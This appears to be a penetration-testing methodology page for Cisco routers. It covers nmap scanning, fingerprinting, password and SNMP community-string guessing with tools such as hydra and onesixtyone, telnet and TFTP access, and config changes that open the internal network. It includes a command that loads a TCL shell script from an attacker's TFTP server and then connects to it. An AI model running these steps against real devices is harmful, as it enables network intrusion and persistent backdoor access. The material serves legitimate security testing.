|

Cisco Specific Testing:
Methodology
-
Scan & Fingerprint.
-
Credentials Guessing.
-
If a network engineer/administrator has configured just one Cisco device with a poor password, then the whole network is open to attack. Attempting to connect with various usernames/passwords is a mandatory step to testing the level of security that the device offers.
-
Attempt to guess Telnet, HTTP and SSH account credentials. Once you have non-privileged access, attempt to discover the 'enable' password. Also attempt to guess Simple Network Management Protocol (SNMP) community strings as they can lead to the config files of the router and therefore the 'enable' password!
-
Connect
-
Check for bugs
-
To check for known bugs, vulnerabilities or security flaws with the device, a good security scanner should be used.
-
The most widely knwon/ used are: Nessus, Retina, GFI LanGuard and Core Impact.
-
There are also tools that check for specific flaws, such as the HTTP Arbitrary Access Bug: ios-w3-vuln
-
Further your testing
-
To further the attack into the target network, some changes need to be made to the running-config file of the target device. There are two main categories for configuration files with Cisco routers - running-config and startup-confg:
-
running-config is the currently running configuration settings. This gets loaded from the startup-config on boot. This configuration file is editable and the changes are immediate. Any changes will be lost once the router is rebooted. It is this file that requires altering to maintain a non-permenant connection through to the internal network.
-
startup-config is the boot up configuration file. It is this file that needs altering to maintain a permenant connection through to the internal network.
-
Once you have access to the config files, you will need enable (privileged mode) access for this, you can add an access list rule to allow your IP address into the internal network. The following ACL will allow the defined <IP> access to any internal IP address. So if the router is protecting a web server and an email server, this ACL will allow you to pass packets to those IP addresses on any port. Therefore you should be able to port scan them efficiently.
Scan & Fingerprint.
-
Port Scanning
-
nmap
-
To effectively scan a Cisco device, both TCP and UDP ports across the whole range must be checked. There are a number of tools that can achieve the goal, however we will stick with nmap examples.
-
TCP scan: - This will perform a TCP scan, fingerprint, be verbose, scan ports 1-65535 against IP 10.1.1.1 and output the results in normal mode to TCP.scan.txt file. nmap -sT -O -v -p 1-65535 <IP> -oN TCP.scan.txt
-
UDP scan: - This will perform a UDP scan, be verbose, scan ports 1.65535 against IP 10.1.1.1 and output the results in normal mode to UDP.scan.txt file. nmap -sU -v -p 1-65535 <IP> -oN UDP.scan.txt
-
Other tools
-
Fingerprinting
-
cisco-torch is a fingerprinter for Cisco routers. There are a number of different fingerprinting switches, such as SSH, telnet or HTTP e.g. The -A switch should perform all scans, however I have found it to be unreliable.
-
nmap version scan: - Once open ports have been identified, version scanning should be performed against them. In this example, TCP ports 23 and 80 were found to be open.
Credentials Guessing.
-
CAT (Cisco Auditing Tool): - This tool extends beyond simple discovery and can perform dictionary based attacks against the Telnet server and SNMP agents.
-
brute-enabler is an internal enable password guesser. You require valid non-privilege mode credentials to use this tool, they can be either SSH or Telnet.
-
hydra: - hydra is a multi-functional password guessing tool. It can connect and pass guessed credentials for many protocols and services, including Cisco Telnet which may only require a password. (Make sure that you limit the threads to 4 (-t 4) as it will just overload the Telnet server!).
SNMP Attacks.
-
CAT (Cisco Auditing Tool): - This tool extends beyond simple discovery and can perform dictionary based attacks against the Telnet server and SNMP agents.
-
onesixtyone is a reliable SNMP community string guesser. Once it identifies the correct community string, it will display accurate fingerprinting information.
-
onesixytone -c SNMP.wordlist <IP>
-
BT onesixtyone-0.3.2 # onesixtyone -c dict.txt 10.1.1.175 Scanning 1 hosts, 64 communities 10.1.1.175 [enable] Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug 10.1.1.175 [Cisco] Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug
-
snmpwalk: - snmpwalk is part of the SNMP toolkit. After a valid community string is identified, you should use snmpwalk to 'walk' the SNMP Management Information Base (MIB) for further information. Ensure that you get the correct version of SNMP protocol in use or it will not work correctly. It may be a good idea to redirect the output to a text file for easier viewing as the tool outputs a large amount of text.
Connecting.
-
Telnet
-
The telnet service on Cisco devices can authenticate users based upon a password in the config file or against a RADIUS or TACACS server. If the device is simply using a VTY configuration for Telnet access, then it is likely that only a password is required to log on. If the device is passing authentication details to a RADIUS or TACACS server, then a combination of username and password will be required.
-
telnet <IP>
-
Sample Banners
-
VTY configuration: BT / # telnet 10.1.1.175 Trying 10.1.1.175... Connected to 10.1.1.175. Escape character is '^]'. User Access Verification Password: router>
-
External authentication server: BT / # telnet 10.1.1.175 Trying 10.1.1.175... Connected to 10.1.1.175. Escape character is '^]'. User Access Verification Username: admin Password: router>
-
SSH
-
Web Browser
-
HTTP/HTTPS: - Web based access can be achieved via a simple web browser, as long as the HTTP adminstration service is active on the target device:
-
This uses a combination of username and password to authenticate. After browsing to the target device, an "Authentication Required" box will pop up with text similar to the following:
-
Authentication Required Enter username and password for "level_15_access" at http://10.1.1.1 User Name: Password:
-
Once logged in, you have non-privileged mode access and can even configure the router through a command interpreter.
-
TFTP
-
Trivial File Transfer Protocol is used to back up the config files of the router. Should an attacker discover the enable password or RW SNMP community string, the config files are easy to retrieve.
-
There are ways of extracting the config files directy from the router even if the names have changed, however you are really limited by the speed of the TFTP server to dictionary based attacks. Cisco-torch is one of the tools that will do this. It will attempt to retrieve config files listed in the brutefile.txt file:
-
./cisco-torch.pl <options> <IP,hostname,network>
-
./cisco-torch.pl <options> -F <hostlist>
-
-
en router source tftp tftp://<Attacker_TFTP_SERVER>/tclshell_ios.tcl
-
telnet <router IP>:Port
-
Check for Bugs
Configuration Files.
The relevant configuration files that control a Cisco router are presented in a sample running-config file from a Cisco 2600 router running IOS version 12.2.
|
|
|